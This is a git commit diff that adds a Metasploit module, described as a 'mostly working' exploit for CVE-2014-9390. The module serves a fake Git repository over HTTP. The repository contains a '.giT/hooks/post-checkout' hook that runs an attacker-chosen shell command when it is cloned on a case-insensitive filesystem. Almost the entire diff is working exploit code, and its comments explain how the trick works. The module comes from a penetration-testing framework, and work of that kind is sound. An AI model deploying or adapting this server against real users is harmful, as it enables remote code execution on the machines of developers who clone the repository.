Mostly working exploit for CVE-2014-9390
parent
4888ebe68d
commit
1c7fb7cc7d
|
@ -1 +0,0 @@
|
|||
Subproject commit abee02d646815b549acca4573145353ddf41a5b8
|
|
@ -14,11 +14,15 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Name' => 'Malicious Git HTTP Server For CVE-2014-9390',
|
||||
'Description' => '',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-9390'],
|
||||
['CVE', '2014-9390']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 18 2014',
|
||||
# TODO: correct all of this
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
|
@ -40,33 +44,79 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 18 2014'))
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [true, 'The command to run', 'id > /tmp/id']),
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def setup
|
||||
# This builds a fake git repository using the knowledge from:
|
||||
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
|
||||
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
|
||||
#
|
||||
# It creates a .giT/hooks/post-checkout file that contains a command to
|
||||
# execute. Because the full path of this file will be considered identical
|
||||
# on case-insensitive filesystems and will be use in place of .git/hooks/post-checkout
|
||||
# and will subsequently execute commands of our choosing upon cloning
|
||||
@file_paths = {}
|
||||
# build the post-update file blob
|
||||
full_cmd = "#!/bin/sh\n#{datastore['CMD']}"
|
||||
sha1, content = build_object('blob', full_cmd)
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build tree that points to the blob
|
||||
#sha1, content = build_object('tree', '41100755 post-checkout', [sha1].pack('H*'))
|
||||
sha1, content = build_object('tree', "100755 post-checkout\0#{[sha1].pack('H*')}")
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build a tree that points to the hooks directory in which post-update lives
|
||||
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build a tree that points to the .giT directory in which hooks lives
|
||||
sha1, content = build_object('tree', "40000 .giT\0#{[sha1].pack('H*')}")
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build the supposed commit that dropped this file
|
||||
user = rand_text_alphanumeric(3 + rand(10))
|
||||
tstamp = Time.now.to_i
|
||||
commit = "author #{user} <#{user}@example.com> #{tstamp} -0800\n" \
|
||||
"committer #{user} <#{user}@example.com> #{tstamp} -0800\n" \
|
||||
"\n" \
|
||||
"test\n"
|
||||
commit_content = "tree #{sha1}\n#{commit}"
|
||||
sha1, content = build_object('commit', commit_content)
|
||||
@file_paths["/objects/#{get_path(sha1)}"] = content
|
||||
# build HEAD
|
||||
@file_paths['/HEAD'] = "ref: refs/heads/master\n"
|
||||
# lastly, build refs
|
||||
@file_paths['/info/refs'] = "#{sha1}\trefs/heads/master\n"
|
||||
|
||||
require 'pp'
|
||||
pp @file_paths
|
||||
end
|
||||
|
||||
def build_object(type, content)
|
||||
header = "#{type} #{content.size}\0"
|
||||
store = header + content
|
||||
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
|
||||
end
|
||||
|
||||
def get_path(sha1)
|
||||
sha1[0...2] + '/' + sha1[2..40]
|
||||
end
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
data_dir = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-9390")
|
||||
# determine if the requested file is something we know how to serve from our
|
||||
# fake repository and send it if so
|
||||
req_file = URI.parse(req.uri).path.gsub(/^#{datastore['URIPATH']}/, '')
|
||||
|
||||
files = []
|
||||
files << File.join(data_dir, '.git', req_file)
|
||||
files << File.join(data_dir, '.giT', req_file)
|
||||
found = false
|
||||
files.each do |file|
|
||||
if File.file?(file)
|
||||
puts "File is #{file}"
|
||||
send_response(cli, IO.read(file))
|
||||
found = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
unless found
|
||||
if @file_paths.key?(req_file)
|
||||
send_response(cli, @file_paths[req_file])
|
||||
else
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue